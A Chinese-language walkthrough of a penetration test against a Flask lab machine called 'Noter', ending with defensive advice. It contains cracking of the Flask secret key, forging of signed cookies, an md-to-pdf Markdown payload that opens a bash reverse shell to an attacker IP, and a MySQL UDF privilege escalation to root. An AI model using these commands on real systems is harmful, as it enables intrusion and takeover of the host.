记一次对Noter的渗透测试
字数 1310 2025-08-24 07:48:33
Flask应用渗透测试实战教学:从信息收集到权限提升
1. 信息收集阶段
1.1 端口扫描
使用nmap进行基础端口扫描:
nmap -sV -T4 <目标IP>
发现开放端口:
- 21/tcp - FTP服务
- 22/tcp - SSH服务
- 5000/tcp - Python Flask HTTP服务
1.2 FTP匿名登录检查
ftp <目标IP>
# 使用anonymous/anonymous尝试登录
成功匿名登录后发现可下载文件。
1.3 Web应用初步探测
访问http://<目标IP>:5000,发现Flask应用:
- 测试SQL注入和弱口令无果
- 注册功能可用
- 登录后重定向到/dashboard
- 存在笔记功能(/add_note, /notes, /note/
) - XSS测试失败,输出被正确转义
2. 漏洞发现与利用
2.1 JWT/Flask Cookie分析
Flask使用签名cookie进行会话管理,可通过flask-unsign工具分析:
# 解码cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yxvarg.S9d5IqA4nL7CBjzYp4CfnG8IoLk'
# 暴力破解secret key
flask-unsign --unsign --cookie '<cookie值>' --wordlist rockyou.txt --no-literal-eval
成功获取secret key为"secret123"。
2.2 伪造管理员cookie
使用已知secret生成管理员cookie:
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
2.3 用户名枚举
编写Python脚本批量生成cookie:
#!/usr/bin/env python3
import hashlib
import sys
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import TimestampSigner, URLSafeTimedSerializer
with open('names.txt', 'r') as f:
names = f.readlines()
for name in names:
cookie = URLSafeTimedSerializer(
secret_key='secret123',
salt='cookie-session',
serializer=TaggedJSONSerializer(),
signer=TimestampSigner,
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
)
print(cookie.dumps({"logged_in": True, "username": name.strip()}))
使用wfuzz验证有效cookie:
wfuzz -c -z file,cookies.txt -H "Cookie: session=FUZZ" --hs "Invalid credentials" http://<目标IP>:5000/dashboard
发现有效用户"blue"。
3. FTP深入利用
3.1 获取FTP管理员凭据
分析PDF文档发现凭据格式:
- 用户名:ftp_admin
- 密码:Noter!
登录FTP:
ftp <目标IP>
# 使用ftp_admin@Noter!登录
发现files目录,下载两个zip文件。
3.2 文件差异分析
unzip -l file1.zip
unzip -l file2.zip
diff app-1.py app-2.py
发现代码差异,特别是数据库信任设置变化。
4. 远程代码执行(RCE)利用
4.1 发现CVE-2021-23639漏洞
分析app.py发现使用md-to-pdf包(v<5.0.0)存在RCE漏洞:
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
4.2 构造恶意Markdown文件
创建包含反弹shell的md文件:
---js
((require("child_process")).exec("bash -c 'bash -i >& /dev/tcp/<攻击者IP>/4444 0>&1'"))
---
4.3 触发RCE
- 本地启动监听:
nc -lvnp 4444
- 使用web应用的Export功能处理恶意md文件
- 获取反向shell
5. 权限提升
5.1 MySQL凭据发现
在代码中发现MySQL凭据:
# 典型配置示例
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'password123'
5.2 MySQL UDF提权
- 检查MySQL运行权限:
ps aux | grep mysql
netstat -tulnp | grep 3306
- 使用searchsploit查找漏洞:
searchsploit mysql udf
- 下载并编译raptor_udf2.c:
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
- MySQL操作:
-- 创建表并写入二进制
CREATE TABLE foo(line blob);
INSERT INTO foo values(load_file('/tmp/raptor_udf2.so'));
-- 查找插件目录
SHOW VARIABLES LIKE '%plugin%';
-- 写入文件
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
-- 创建函数
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
-- 执行命令
SELECT do_system('chmod +s /bin/bash');
- 获取root shell:
bash -p
6. 总结与关键点
- 信息收集至关重要:端口扫描、服务识别、匿名FTP检查
- Flask安全:Cookie签名机制可能被暴力破解,secret key需足够复杂
- 凭证枚举:通过cookie生成和响应差异枚举有效用户
- 文件分析:差异比较可发现配置变化和安全问题
- 依赖组件风险:md-to-pdf的历史漏洞导致RCE
- 权限提升路径:MySQL root权限可转换为系统root权限
7. 防御建议
- 使用强secret key并定期更换
- 禁用不必要的服务如匿名FTP
- 及时更新第三方依赖组件
- MySQL不应以root身份运行
- 实施最小权限原则
- 对用户输入进行严格过滤和转义
- 禁用危险函数如subprocess.run或严格限制参数
通过本案例,我们展示了从信息收集到最终获取root权限的完整渗透测试流程,强调了系统配置安全和组件更新的重要性。